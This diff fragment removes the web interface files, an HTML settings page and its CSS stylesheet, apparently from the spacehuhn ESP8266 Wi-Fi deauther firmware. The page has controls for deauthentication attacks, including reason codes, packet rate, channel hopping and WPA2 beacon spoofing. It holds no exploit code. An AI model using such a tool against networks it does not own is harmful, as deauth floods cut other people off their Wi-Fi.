|
||||
<label for="ssid">SSID:</label>
|
||||
<input type="text" id="ssid" minlength="1" maxlength="32">
|
||||
<br />
|
||||
<label for="ssidHidden">hidden:</label>
|
||||
<input type="checkbox" name="ssidHidden" id="ssidHidden" value="false">
|
||||
<br />
|
||||
|
||||
<label for="password">password:</label>
|
||||
<input type="text" id="password" minlength="8" maxlength="32">
|
||||
<p class="small">must have at least 8 characters! (needs restart)</p>
|
||||
<br />
|
||||
|
||||
<label for="apChannel">channel:</label>
|
||||
<input type="number" id="apChannel" min="1" max="14">
|
||||
|
||||
<br />
|
||||
<br />
|
||||
<p class="block bold">AP scan</p>
|
||||
|
||||
<label for="apScanHidden">scan for hidden APs:</label>
|
||||
<input type="checkbox" name="apScanHidden" id="apScanHidden" value="false">
|
||||
|
||||
<br />
|
||||
<br />
|
||||
<p class="block bold">Client Scan</p>
|
||||
|
||||
<label for="scanTime">default scan time:</label>
|
||||
<input type="number" id="scanTime" min="1" max="255">s
|
||||
|
||||
<br />
|
||||
<br />
|
||||
|
||||
<p class="block bold">Attack</p>
|
||||
|
||||
<label for="timeout">timeout:</label>
|
||||
<input type="number" id="timeout" min="-1" max="65536">s
|
||||
<p class="small">0 = no timeout</p>
|
||||
|
||||
<label for="ssidEnc">WPA2 beacons:</label>
|
||||
<input type="checkbox" name="ssidEnc" id="ssidEnc" value="false">
|
||||
<br />
|
||||
|
||||
<label for="useLed">use LED:</label>
|
||||
<input type="checkbox" name="useLed" id="useLed" value="false">
|
||||
<br />
|
||||
|
||||
<label for="deauthReason">deauth reason:</label>
|
||||
<input type="number" id="deauthReason" min="1" max="45">
|
||||
<p class="small">reason codes: <a target="_blank" href="http://www.aboutcher.co.uk/2012/07/linux-wifi-deauthenticated-reason-codes/">click</a></p>
|
||||
|
||||
<label for="packetRate">packetrate:</label>
|
||||
<input type="number" id="packetRate" min="1" max="100">pkts/s
|
||||
<p class="small">only for deauth attack - may cause instability! (max.100)</p>
|
||||
|
||||
<label for="channelHop">channel hopping:</label>
|
||||
<input type="checkbox" name="channelHop" id="channelHop" value="false">
|
||||
<p class="small">only for deauth attack - packetrate will be ignored!</p>
|
||||
<br />
|
||||
|
||||
<br />
|
||||
<button class="warnBtn" onclick="resetSettings()">reset</button> <button onclick="saveSettings()">save</button><p class="small" id="saved"></p><br \>
|
||||
<br />
|
||||
<br />
|
||||
|
||||
<p class="block bold" id="clientNames">Client Names</p>
|
||||
<table id="nameList">
|
||||
<tr><th>MAC</th><th>Vendor</th><th>Name</th><th>X</th></tr>
|
||||
</table>
|
||||
<br />
|
||||
<button class="warnBtn" onclick="clearNameList()">clear</button></p>
|
||||
</div>
|
||||
|
||||
<table>
|
||||
</table>
|
||||
<script src="js/functions.js"></script>
|
||||
<script src="js/settings.js"></script>
|
||||
<div id="copyright">
|
||||
Copyright 2017 Stefan Kremser<br />
|
||||
<br />
|
||||
<a href="https://github.com/spacehuhn" target="_blank">github.com/spacehuhn</a><br />
|
||||
<a href="https://twitter.com/spacehuhn" target="_blank">twitter.com/spacehuhn</a><br />
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
|
@ -1,167 +0,0 @@
|
|||
/* Global */
|
||||
|
||||
*,
|
||||
body {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
font-family: arial;
|
||||
color: #432929;
|
||||
}
|
||||
h1 {
|
||||
font-size: 22px;
|
||||
margin-bottom: 0.6em;
|
||||
background: #00B0FF;
|
||||
color: #fff;
|
||||
padding: 0.2em;
|
||||
border-radius: 4px;
|
||||
}
|
||||
button {
|
||||
background: #00B0FF;
|
||||
color: #fff;
|
||||
border: 1px solid #8F8F8F;
|
||||
border-radius: 2px;
|
||||
padding: 0.34em 0.3em;
|
||||
margin-bottom: 0.6em;
|
||||
}
|
||||
button:hover {
|
||||
color: #000;
|
||||
}
|
||||
label {
|
||||
display: inline-block;
|
||||
width: 135px;
|
||||
}
|
||||
input {
|
||||
height: 22px;
|
||||
width: 120px;
|
||||
border: 1px solid #A99D9D;
|
||||
border-radius: 5px;
|
||||
padding: 0.2em;
|
||||
margin: 2px;
|
||||
}
|
||||
input[type="checkbox"] {
|
||||
height: 15px;
|
||||
width: auto;
|
||||
}
|
||||
.warn {
|
||||
color: #c20000;
|
||||
}
|
||||
.warnBtn {
|
||||
background: #c20000;
|
||||
color: #fff;
|
||||
}
|
||||
.warnBtn:hover {
|
||||
background: #f00;
|
||||
color: #000;
|
||||
}
|
||||
.selectedBtn {
|
||||
background: #fff;
|
||||
color: #000;
|
||||
}
|
||||
.selectedBtn:hover {
|
||||
background: #00B0FF;
|
||||
color: #fff;
|
||||
}
|
||||
.right {
|
||||
float: right;
|
||||
}
|
||||
.bold {
|
||||
font-weight: bold;
|
||||
}
|
||||
.block {
|
||||
display: block;
|
||||
}
|
||||
.marginNull {
|
||||
margin: 0
|
||||
}
|
||||
.blue {
|
||||
color: #00B0FF
|
||||
}
|
||||
.small {
|
||||
font-size: 14px;
|
||||
color: #727272
|
||||
}
|
||||
/* Navigation */
|
||||
|
||||
nav {
|
||||
background: #222;
|
||||
}
|
||||
nav a {
|
||||
background: #222;
|
||||
color: #999;
|
||||
padding: 0.5em;
|
||||
display: inline-block;
|
||||
text-decoration: none;
|
||||
}
|
||||
nav a:hover {
|
||||
background: #000;
|
||||
color: #f0f0f0;
|
||||
}
|
||||
/* Content */
|
||||
|
||||
#content {
|
||||
padding: 0.34em;
|
||||
}
|
||||
#copyright{
|
||||
margin-top: 15px;
|
||||
padding-bottom: 15px;
|
||||
font-size: 0.85em;
|
||||
text-align: center;
|
||||
}
|
||||
table {
|
||||
padding: 0;
|
||||
width: 100%;
|
||||
max-width: 960px;
|
||||
margin: 0 auto;
|
||||
border-spacing: 0;
|
||||
background: #222222;
|
||||
}
|
||||
table th {
|
||||
background: #222222;
|
||||
color: #f0f0f0;
|
||||
}
|
||||
table td {
|
||||
font-size: 14px;
|
||||
background: #f0f0f0;
|
||||
}
|
||||
table th,
|
||||
table td {
|
||||
text-align: center;
|
||||
padding: 0.1em 0;
|
||||
}
|
||||
table .selected td {
|
||||
background: #11a4cc;
|
||||
}
|
||||
/* Specific */
|
||||
|
||||
#saved {
|
||||
display: inline;
|
||||
}
|
||||
#clientScanStatus {
|
||||
margin-left: 1em;
|
||||
}
|
||||
#clientScanStart {
|
||||
margin-left: 30px;
|
||||
}
|
||||
#scanTime {
|
||||
width: 60px;
|
||||
}
|
||||
#apScanStatus {
|
||||
margin-left: 1em;
|
||||
}
|
||||
#rssiBar {
|
||||
width: 100px;
|
||||
height: 15px;
|
||||
background: #fff;
|
||||
}
|
||||
#rssiBar > div {
|
||||
width: 52px;
|
||||
height: 15px;
|
||||
background: #c20000;
|
||||
}
|
||||
#wpa_info {
|
||||
padding-left: 0.34em;
|
||||
}
|
||||
#saved {
|
||||
display: inline;
|
||||
margin-left: 20px;
|
||||
}
|